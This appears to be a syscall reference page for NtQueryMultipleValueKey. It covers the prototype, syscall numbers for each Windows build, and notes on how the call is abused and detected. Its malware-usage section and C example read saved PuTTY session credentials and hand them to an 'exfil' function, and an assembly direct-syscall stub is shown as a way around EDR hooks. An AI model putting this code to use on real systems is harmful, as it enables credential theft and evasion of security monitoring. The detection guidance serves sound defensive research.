> Windows Syscalls
ntoskrnl.exeT1552.002T1012T1106

NtQueryMultipleValueKey

Atomically reads several registry values from a single key in one syscall.

Prototype

NTSTATUS NtQueryMultipleValueKey(
  HANDLE              KeyHandle,
  PKEY_VALUE_ENTRY    ValueEntries,
  ULONG               EntryCount,
  PVOID               ValueBuffer,
  PULONG              BufferLength,
  PULONG              RequiredBufferLength
);

Arguments

NameTypeDirDescription
KeyHandleHANDLEinHandle to an open registry key (must include KEY_QUERY_VALUE).
ValueEntriesPKEY_VALUE_ENTRYin/outArray of KEY_VALUE_ENTRY structs: caller fills ValueName, kernel fills Type/DataOffset/DataLength.
EntryCountULONGinNumber of entries in the ValueEntries array.
ValueBufferPVOIDoutSingle packed output buffer; each ValueEntry's DataOffset points into it.
BufferLengthPULONGin/outOn input: size of ValueBuffer. On output: bytes actually used.
RequiredBufferLengthPULONGoutSet on STATUS_BUFFER_OVERFLOW with the size the caller should retry with.

Syscall IDs by Windows version

Windows versionSyscall IDBuild
Win10 15070x13Bwin10-1507
Win10 16070x141win10-1607
Win10 17030x147win10-1703
Win10 17090x14Awin10-1709
Win10 18030x14Cwin10-1803
Win10 18090x14Dwin10-1809
Win10 19030x14Ewin10-1903
Win10 19090x14Ewin10-1909
Win10 20040x154win10-2004
Win10 20H20x154win10-20h2
Win10 21H10x154win10-21h1
Win10 21H20x155win10-21h2
Win10 22H20x155win10-22h2
Win11 21H20x15Cwin11-21h2
Win11 22H20x15Fwin11-22h2
Win11 23H20x15Fwin11-23h2
Win11 24H20x161win11-24h2
Server 20160x141winserver-2016
Server 20190x14Dwinserver-2019
Server 20220x15Awinserver-2022
Server 20250x161winserver-2025

Kernel module

ntoskrnl.exeNtQueryMultipleValueKey

Related APIs

RegQueryMultipleValuesWRegQueryValueExWNtQueryValueKeyNtEnumerateValueKeyNtOpenKeyZwQueryMultipleValueKey

Syscall stub

4C 8B D1            mov r10, rcx
B8 61 01 00 00      mov eax, 0x161     ; Win11 24H2 SSN
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

Backing syscall for `RegQueryMultipleValuesW`. The kernel walks the key's value list once, fetches all requested values into a single packed buffer under one hive lock, and returns offsets — strictly faster than N back-to-back `NtQueryValueKey` calls and, more importantly, *atomic* against concurrent writers. Each `KEY_VALUE_ENTRY` is `{ ValueName, DataLength, DataOffset, Type }`; the caller pre-populates `ValueName` (a `UNICODE_STRING*`), the kernel populates the other three.

Common malware usage

Credential harvesting and reconnaissance tools that target structured keys benefit from the atomicity. The textbook example is PuTTY saved sessions under `HKCU\Software\SimonTatham\PuTTY\Sessions\<name>` — `HostName`, `UserName`, `PortNumber`, `Protocol`, `PublicKeyFile` and `ProxyHost` can be pulled in a single call, ensuring the user can't rotate the session mid-read. WinSCP, FileZilla XML-via-INI fallbacks, and PowerShell ISE history paths in HKCU exhibit similar shapes. It is also a slightly less hooked path than `RegQueryValueExW`, which means it can be a marginal evasion win against EDRs that instrument advapi32 but not direct ntdll calls.

Detection opportunities

Volume of `NtQueryMultipleValueKey` calls is very low compared to `NtQueryValueKey`, which makes it relatively high-signal. ETW Microsoft-Windows-Kernel-Registry emits `EventID 4` (QueryValueKey) per *value* even for the multi-value path, so existing detections that key on access to `Software\SimonTatham\PuTTY` or `Software\Martin Prikryl` still fire. Sysmon Event 12/13 surface key opens against the credential paths. Process-correlation rules (`powershell.exe`/`rundll32.exe`/unsigned binary reading PuTTY sessions) carry the actual detection value.

Direct syscall examples

cPull a PuTTY session atomically

// HKCU\Software\SimonTatham\PuTTY\Sessions\<sessionName>
UNICODE_STRING n1, n2, n3, n4;
RtlInitUnicodeString(&n1, L"HostName");
RtlInitUnicodeString(&n2, L"UserName");
RtlInitUnicodeString(&n3, L"PortNumber");
RtlInitUnicodeString(&n4, L"PublicKeyFile");

KEY_VALUE_ENTRY entries[4] = {
    { &n1, 0, 0, 0 },
    { &n2, 0, 0, 0 },
    { &n3, 0, 0, 0 },
    { &n4, 0, 0, 0 },
};

UCHAR buf[2048];
ULONG bufLen = sizeof(buf), required = 0;
NTSTATUS st = NtQueryMultipleValueKey(hKey, entries, 4,
                                      buf, &bufLen, &required);
if (NT_SUCCESS(st)) {
    PWSTR host = (PWSTR)(buf + entries[0].DataOffset);
    PWSTR user = (PWSTR)(buf + entries[1].DataOffset);
    DWORD port = *(DWORD*)(buf + entries[2].DataOffset);
    PWSTR pkey = (PWSTR)(buf + entries[3].DataOffset);
    exfil(host, user, port, pkey);
}

asmx64 direct stub

; NtQueryMultipleValueKey direct syscall (Win11 24H2 SSN 0x161)
NtQueryMultipleValueKey PROC
    mov  r10, rcx
    mov  eax, 161h
    syscall
    ret
NtQueryMultipleValueKey ENDP

MITRE ATT&CK mappings

Last verified: 2026-05-20